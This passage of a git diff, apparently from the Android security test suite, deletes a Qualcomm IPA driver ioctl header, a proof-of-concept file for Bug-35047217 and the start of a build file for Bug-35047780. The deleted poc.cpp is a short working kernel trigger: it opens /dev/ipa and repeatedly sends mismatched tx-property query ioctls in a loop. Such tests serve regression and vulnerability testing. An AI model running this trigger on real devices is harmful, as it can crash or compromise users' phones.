- * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_hdls;
-        struct ipa_rt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
- * @ip: IP family of table
- * @name: name of routing table resource
- * @index:        output parameter, routing table index, valid only when ioctl
- *                return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl_indx {
-        enum ipa_ip_type ip;
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t idx;
-};
-
-/**
- * struct ipa_flt_rule_add - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of filtering table?
- * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
- * @status:        output parameter, status of filtering rule add   operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_flt_rule_add {
-        struct ipa_flt_rule rule;
-        uint8_t at_rear;
-        uint32_t flt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
- * multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep:        which "clients" pipe does this rule apply to?
- *        valid only when global is 0
- * @global: does this apply to global filter table of specific IP family
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        enum ipa_client_type ep;
-        uint8_t global;
-        uint8_t num_rules;
-        struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
- * rule parameters (supports multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep:        which "clients" pipe does this rule apply to?
- * @num_rules: number of filtering rules that follow
- * @add_after_hdl: rules will be added after the rule with this handle
- * @rules: all rules need to go back to back here, no pointers. at rear field
- *           is ignored when using this IOCTL
- */
-struct ipa_ioc_add_flt_rule_after {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        enum ipa_client_type ep;
-        uint8_t num_rules;
-        uint32_t add_after_hdl;
-        struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @flt_rule_hdl: handle to rule
- * @status:        output parameter, status of filtering rule modify  operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_flt_rule_mdfy {
-        struct ipa_flt_rule rule;
-        uint32_t rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_rules;
-        struct ipa_flt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_flt_rule_del - filtering rule descriptor includes
- * in and out parameters
- *
- * @hdl: handle returned from filtering rule add operation
- * @status:        output parameter, status of filtering rule delete operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_flt_rule_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_hdls;
-        struct ipa_flt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
- * successful caller must call put to release the reference
- * count when done
- * @ip: IP family of table
- * @name: name of routing table resource
- * @htl:        output parameter, handle of routing table, valid only when ioctl
- *                return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl {
-        enum ipa_ip_type ip;
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t hdl;
-};
-
-/**
- * struct ipa_ioc_query_intf - used to lookup number of tx and
- * rx properties of interface
- * @name: name of interface
- * @num_tx_props:        output parameter, number of tx properties
- *                        valid only when ioctl return val is non-negative
- * @num_rx_props:        output parameter, number of rx properties
- *                        valid only when ioctl return val is non-negative
- * @num_ext_props:        output parameter, number of ext properties
- *                        valid only when ioctl return val is non-negative
- * @excp_pipe:                exception packets of this interface should be
- *                        routed to this pipe
- */
-struct ipa_ioc_query_intf {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_tx_props;
-        uint32_t num_rx_props;
-        uint32_t num_ext_props;
-        enum ipa_client_type excp_pipe;
-};
-
-/**
- * struct ipa_ioc_tx_intf_prop - interface tx property
- * @ip: IP family of routing rule
- * @attrib: routing rule
- * @dst_pipe: routing output pipe
- * @alt_dst_pipe: alternate routing output pipe
- * @hdr_name: name of associated header if any, empty string when no header
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_tx_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        enum ipa_client_type dst_pipe;
-        enum ipa_client_type alt_dst_pipe;
-        char hdr_name[IPA_RESOURCE_NAME_MAX];
-        enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_tx_props - interface tx propertie
- * @name: name of interface
- * @num_tx_props: number of TX properties
- * @tx[0]: output parameter, the tx properties go here back to back
- */
-struct ipa_ioc_query_intf_tx_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_tx_props;
-        struct ipa_ioc_tx_intf_prop tx[0];
-};
-
-/**
- * struct ipa_ioc_ext_intf_prop - interface extended property
- * @ip: IP family of routing rule
- * @eq_attrib: attributes of the rule in equation form
- * @action: action field
- * @rt_tbl_idx: index of RT table referred to by filter rule
- * @mux_id: MUX_ID
- * @filter_hdl: handle of filter (as specified by provider of filter rule)
- * @is_xlat_rule: it is xlat flt rule or not
- */
-struct ipa_ioc_ext_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-        enum ipa_flt_action action;
-        uint32_t rt_tbl_idx;
-        uint8_t mux_id;
-        uint32_t filter_hdl;
-        uint8_t is_xlat_rule;
-        uint32_t rule_id;
-        uint8_t is_rule_hashable;
-};
-
-/**
- * struct ipa_ioc_query_intf_ext_props - interface ext propertie
- * @name: name of interface
- * @num_ext_props: number of EXT properties
- * @ext[0]: output parameter, the ext properties go here back to back
- */
-struct ipa_ioc_query_intf_ext_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_ext_props;
-        struct ipa_ioc_ext_intf_prop ext[0];
-};
-
-/**
- * struct ipa_ioc_rx_intf_prop - interface rx property
- * @ip: IP family of filtering rule
- * @attrib: filtering rule
- * @src_pipe: input pipe
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_rx_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        enum ipa_client_type src_pipe;
-        enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_rx_props - interface rx propertie
- * @name: name of interface
- * @num_rx_props: number of RX properties
- * @rx: output parameter, the rx properties go here back to back
- */
-struct ipa_ioc_query_intf_rx_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_rx_props;
-        struct ipa_ioc_rx_intf_prop rx[0];
-};
-
-/**
- * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
- * properties
- * @dev_name: input parameter, the name of table
- * @size: input parameter, size of table in bytes
- * @offset: output parameter, offset into page in case of system memory
- */
-struct ipa_ioc_nat_alloc_mem {
-        char dev_name[IPA_RESOURCE_NAME_MAX];
-        size_t size;
-        off_t offset;
-};
-
-/**
- * struct ipa_ioc_v4_nat_init - nat table initialization
- * parameters
- * @tbl_index: input parameter, index of the table
- * @ipv4_rules_offset: input parameter, ipv4 rules address offset
- * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
- * @index_offset: input parameter, index rules offset
- * @index_expn_offset: input parameter, index expansion rules offset
- * @table_entries: input parameter, ipv4 rules table size in entries
- * @expn_table_entries: input parameter, ipv4 expansion rules table size
- * @ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_init {
-        uint8_t tbl_index;
-        uint32_t ipv4_rules_offset;
-        uint32_t expn_rules_offset;
-
-        uint32_t index_offset;
-        uint32_t index_expn_offset;
-
-        uint16_t table_entries;
-        uint16_t expn_table_entries;
-        uint32_t ip_addr;
-};
-
-/**
- * struct ipa_ioc_v4_nat_del - nat table delete parameter
- * @table_index: input parameter, index of the table
- * @public_ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_del {
-        uint8_t table_index;
-        uint32_t public_ip_addr;
-};
-
-/**
- * struct ipa_ioc_nat_dma_one - nat dma command parameter
- * @table_index: input parameter, index of the table
- * @base_addr:        type of table, from which the base address of the table
- *                can be inferred
- * @offset: destination offset within the NAT table
- * @data: data to be written.
- */
-struct ipa_ioc_nat_dma_one {
-        uint8_t table_index;
-        uint8_t base_addr;
-
-        uint32_t offset;
-        uint16_t data;
-
-};
-
-/**
- * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
- * @entries: number of dma commands in use
- * @dma: data pointer to the dma commands
- */
-struct ipa_ioc_nat_dma_cmd {
-        uint8_t entries;
-        struct ipa_ioc_nat_dma_one dma[0];
-
-};
-
-/**
- * struct ipa_msg_meta - Format of the message meta-data.
- * @msg_type: the type of the message
- * @rsvd: reserved bits for future use.
- * @msg_len: the length of the message in bytes
- *
- * For push model:
- * Client in user-space should issue a read on the device (/dev/ipa) with a
- * sufficiently large buffer in a continuous loop, call will block when there is
- * no message to read. Upon return, client can read the ipa_msg_meta from start
- * of buffer to find out type and length of message
- * size of buffer supplied >= (size of largest message + size of metadata)
- *
- * For pull model:
- * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
- * with a payload containing space for the ipa_msg_meta and the message specific
- * payload length.
- * size of buffer supplied == (len of specific message  + size of metadata)
- */
-struct ipa_msg_meta {
-        uint8_t msg_type;
-        uint8_t rsvd;
-        uint16_t msg_len;
-};
-
-/**
- * struct ipa_wlan_msg - To hold information about wlan client
- * @name: name of the wlan interface
- * @mac_addr: mac address of wlan client
- *
- * wlan drivers need to pass name of wlan iface and mac address of
- * wlan client along with ipa_wlan_event, whenever a wlan client is
- * connected/disconnected/moved to power save/come out of power save
- */
-struct ipa_wlan_msg {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-};
-
-/**
- * enum ipa_wlan_hdr_attrib_type - attribute type
- * in wlan client header
- *
- * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
- * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
- */
-enum ipa_wlan_hdr_attrib_type {
-        WLAN_HDR_ATTRIB_MAC_ADDR,
-        WLAN_HDR_ATTRIB_STA_ID
-};
-
-/**
- * struct ipa_wlan_hdr_attrib_val - header attribute value
- * @attrib_type: type of attribute
- * @offset: offset of attribute within header
- * @u.mac_addr: mac address
- * @u.sta_id: station id
- */
-struct ipa_wlan_hdr_attrib_val {
-        enum ipa_wlan_hdr_attrib_type attrib_type;
-        uint8_t offset;
-        union {
-                uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-                uint8_t sta_id;
-        } u;
-};
-
-/**
- * struct ipa_wlan_msg_ex - To hold information about wlan client
- * @name: name of the wlan interface
- * @num_of_attribs: number of attributes
- * @attrib_val: holds attribute values
- *
- * wlan drivers need to pass name of wlan iface and mac address
- * of wlan client or station id along with ipa_wlan_event,
- * whenever a wlan client is connected/disconnected/moved to
- * power save/come out of power save
- */
-struct ipa_wlan_msg_ex {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_of_attribs;
-        struct ipa_wlan_hdr_attrib_val attribs[0];
-};
-
-struct ipa_ecm_msg {
-        char name[IPA_RESOURCE_NAME_MAX];
-        int ifindex;
-};
-
-/**
- * struct ipa_wan_msg - To hold information about wan client
- * @name: name of the wan interface
- *
- * CnE need to pass the name of default wan iface when connected/disconnected.
- * netmgr need to pass the name of wan eMBMS iface when connected.
- */
-struct ipa_wan_msg {
-        char upstream_ifname[IPA_RESOURCE_NAME_MAX];
-        char tethered_ifname[IPA_RESOURCE_NAME_MAX];
-        enum ipa_ip_type ip;
-};
-
-/**
- * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
- * @resource_name: name of dependent resource
- * @depends_on_name: name of its dependency
- */
-struct ipa_ioc_rm_dependency {
-        enum ipa_rm_resource_name resource_name;
-        enum ipa_rm_resource_name depends_on_name;
-};
-
-struct ipa_ioc_generate_flt_eq {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-};
-
-/**
- * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
- * @mux_id: mux id of wan
- */
-struct ipa_ioc_write_qmapid {
-        enum ipa_client_type client;
-        uint8_t qmap_id;
-};
-
-enum ipacm_client_enum {
-        IPACM_CLIENT_USB = 1,
-        IPACM_CLIENT_WLAN,
-        IPACM_CLIENT_MAX
-};
-/**
- *   actual IOCTLs supported by IPA driver
- */
-#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_HDR, \
-                                        struct ipa_ioc_add_hdr *)
-#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_HDR, \
-                                        struct ipa_ioc_del_hdr *)
-#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_RT_RULE, \
-                                        struct ipa_ioc_add_rt_rule *)
-#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_RT_RULE_AFTER, \
-                                        struct ipa_ioc_add_rt_rule_after *)
-#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_RT_RULE, \
-                                        struct ipa_ioc_del_rt_rule *)
-#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_FLT_RULE, \
-                                        struct ipa_ioc_add_flt_rule *)
-#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_FLT_RULE_AFTER, \
-                                        struct ipa_ioc_add_flt_rule_after *)
-#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_FLT_RULE, \
-                                        struct ipa_ioc_del_flt_rule *)
-#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
-                                        IPA_IOCTL_COMMIT_HDR)
-#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
-                                        IPA_IOCTL_RESET_HDR)
-#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_COMMIT_RT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_RESET_RT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_COMMIT_FLT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_RESET_FLT, \
-                        enum ipa_ip_type)
-#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_DUMP)
-#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_RT_TBL, \
-                                struct ipa_ioc_get_rt_tbl *)
-#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PUT_RT_TBL, \
-                                uint32_t)
-#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_COPY_HDR, \
-                                struct ipa_ioc_copy_hdr *)
-#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_INTF, \
-                                struct ipa_ioc_query_intf *)
-#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_INTF_TX_PROPS, \
-                                struct ipa_ioc_query_intf_tx_props *)
-#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_QUERY_INTF_RX_PROPS, \
-                                        struct ipa_ioc_query_intf_rx_props *)
-#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
-                                        struct ipa_ioc_query_intf_ext_props *)
-#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_HDR, \
-                                struct ipa_ioc_get_hdr *)
-#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PUT_HDR, \
-                                uint32_t)
-#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_ALLOC_NAT_MEM, \
-                                struct ipa_ioc_nat_alloc_mem *)
-#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_V4_INIT_NAT, \
-                                struct ipa_ioc_v4_nat_init *)
-#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NAT_DMA, \
-                                struct ipa_ioc_nat_dma_cmd *)
-#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_V4_DEL_NAT, \
-                                struct ipa_ioc_v4_nat_del *)
-#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_NAT_OFFSET, \
-                                uint32_t *)
-#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_SET_FLT, \
-                        uint32_t)
-#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PULL_MSG, \
-                                struct ipa_msg_meta *)
-#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_RM_ADD_DEPENDENCY, \
-                                struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_RM_DEL_DEPENDENCY, \
-                                struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GENERATE_FLT_EQ, \
-                                struct ipa_ioc_generate_flt_eq *)
-#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_EP_MAPPING, \
-                                uint32_t)
-#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_RT_TBL_INDEX, \
-                                struct ipa_ioc_get_rt_tbl_indx *)
-#define IPA_IOC_WRITE_QMAPID  _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_WRITE_QMAPID, \
-                                struct ipa_ioc_write_qmapid *)
-#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_MDFY_FLT_RULE, \
-                                        struct ipa_ioc_mdfy_flt_rule *)
-#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_MDFY_RT_RULE, \
-                                        struct ipa_ioc_mdfy_rt_rule *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
-                                struct ipa_wan_msg *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
-                                struct ipa_wan_msg *)
-#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
-                                struct ipa_wan_msg *)
-#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_ADD_HDR_PROC_CTX, \
-                                struct ipa_ioc_add_hdr_proc_ctx *)
-#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_DEL_HDR_PROC_CTX, \
-                                struct ipa_ioc_del_hdr_proc_ctx *)
-
-#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_HW_VERSION, \
-                                enum ipa_hw_type *)
-
-/*
- * unique magic number of the Tethering bridge ioctls
- */
-#define TETH_BRIDGE_IOC_MAGIC 0xCE
-
-/*
- * Ioctls supported by Tethering bridge driver
- */
-#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE        0
-#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS        1
-#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS        2
-#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES        3
-#define TETH_BRIDGE_IOCTL_MAX                        4
-
-
-/**
- * enum teth_link_protocol_type - link protocol (IP / Ethernet)
- */
-enum teth_link_protocol_type {
-        TETH_LINK_PROTOCOL_IP,
-        TETH_LINK_PROTOCOL_ETHERNET,
-        TETH_LINK_PROTOCOL_MAX,
-};
-
-/**
- * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
- */
-enum teth_aggr_protocol_type {
-        TETH_AGGR_PROTOCOL_NONE,
-        TETH_AGGR_PROTOCOL_MBIM,
-        TETH_AGGR_PROTOCOL_TLP,
-        TETH_AGGR_PROTOCOL_MAX,
-};
-
-/**
- * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
- * @aggr_prot:                        Aggregation protocol (MBIM / TLP)
- * @max_transfer_size_byte:        Maximal size of aggregated packet in bytes.
- *                                Default value is 16*1024.
- * @max_datagrams:                Maximal number of IP packets in an aggregated
- *                                packet. Default value is 16
- */
-struct teth_aggr_params_link {
-        enum teth_aggr_protocol_type aggr_prot;
-        uint32_t max_transfer_size_byte;
-        uint32_t max_datagrams;
-};
-
-
-/**
- * struct teth_aggr_params - Aggregation parmeters
- * @ul:        Uplink parameters
- * @dl: Downlink parmaeters
- */
-struct teth_aggr_params {
-        struct teth_aggr_params_link ul;
-        struct teth_aggr_params_link dl;
-};
-
-/**
- * struct teth_aggr_capabilities - Aggregation capabilities
- * @num_protocols:                Number of protocols described in the array
- * @prot_caps[]:                Array of aggregation capabilities per protocol
- */
-struct teth_aggr_capabilities {
-        uint16_t num_protocols;
-        struct teth_aggr_params_link prot_caps[0];
-};
-
-/**
- * struct teth_ioc_set_bridge_mode
- * @link_protocol: link protocol (IP / Ethernet)
- * @lcid: logical channel number
- */
-struct teth_ioc_set_bridge_mode {
-        enum teth_link_protocol_type link_protocol;
-        uint16_t lcid;
-};
-
-/**
- * struct teth_ioc_set_aggr_params
- * @aggr_params: Aggregation parmeters
- * @lcid: logical channel number
- */
-struct teth_ioc_aggr_params {
-        struct teth_aggr_params aggr_params;
-        uint16_t lcid;
-};
-
-
-#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
-                                struct teth_ioc_set_bridge_mode *)
-#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
-                                struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
-                                struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
-                                struct teth_aggr_capabilities *)
-
-/*
- * unique magic number of the ODU bridge ioctls
- */
-#define ODU_BRIDGE_IOC_MAGIC 0xCD
-
-/*
- * Ioctls supported by ODU bridge driver
- */
-#define ODU_BRIDGE_IOCTL_SET_MODE        0
-#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR        1
-#define ODU_BRIDGE_IOCTL_MAX                2
-
-/**
- * enum odu_bridge_mode - bridge mode
- *                        (ROUTER MODE / BRIDGE MODE)
- */
-enum odu_bridge_mode {
-        ODU_BRIDGE_MODE_ROUTER,
-        ODU_BRIDGE_MODE_BRIDGE,
-        ODU_BRIDGE_MODE_MAX,
-};
-
-#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
-                                ODU_BRIDGE_IOCTL_SET_MODE, \
-                                enum odu_bridge_mode)
-
-#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
-                                ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
-                                struct in6_addr *)
-
-#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp b/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp
deleted file mode 100644
index 34adca0..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp
+++ /dev/null
@@ -1,65 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions
- * and limitations under the License.
- **/
-
-
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <string.h>
-#include "local_poc.h"
-#include <unistd.h>
-#include <stdio.h>
-
-struct ipa_ioc_query_intf_tx_props_2 {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_tx_props;
-        struct ipa_ioc_tx_intf_prop tx[2];
-};
-
-int main() {
-
-        int fd = open("/dev/ipa", O_RDWR);
-
-        struct ipa_ioc_query_intf query_intf;
-        strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-
-        int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
-
-        ipa_ioc_query_intf_tx_props_2 tx_props_2;
-        memset(&tx_props_2, 0, sizeof(tx_props_2));
-        strlcpy(&(tx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-        tx_props_2.num_tx_props = 2;
-
-        int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props_2);
-
-        while (true) {
-                ipa_ioc_query_intf_tx_props tx_props;
-                memset(&tx_props, 0, sizeof(tx_props));
-                strlcpy(&(tx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-                tx_props.num_tx_props = 0;
-
-                int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props);
-
-                usleep(10000);
-        }
-        return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
deleted file mode 100644
index c9a8935..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35047780
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
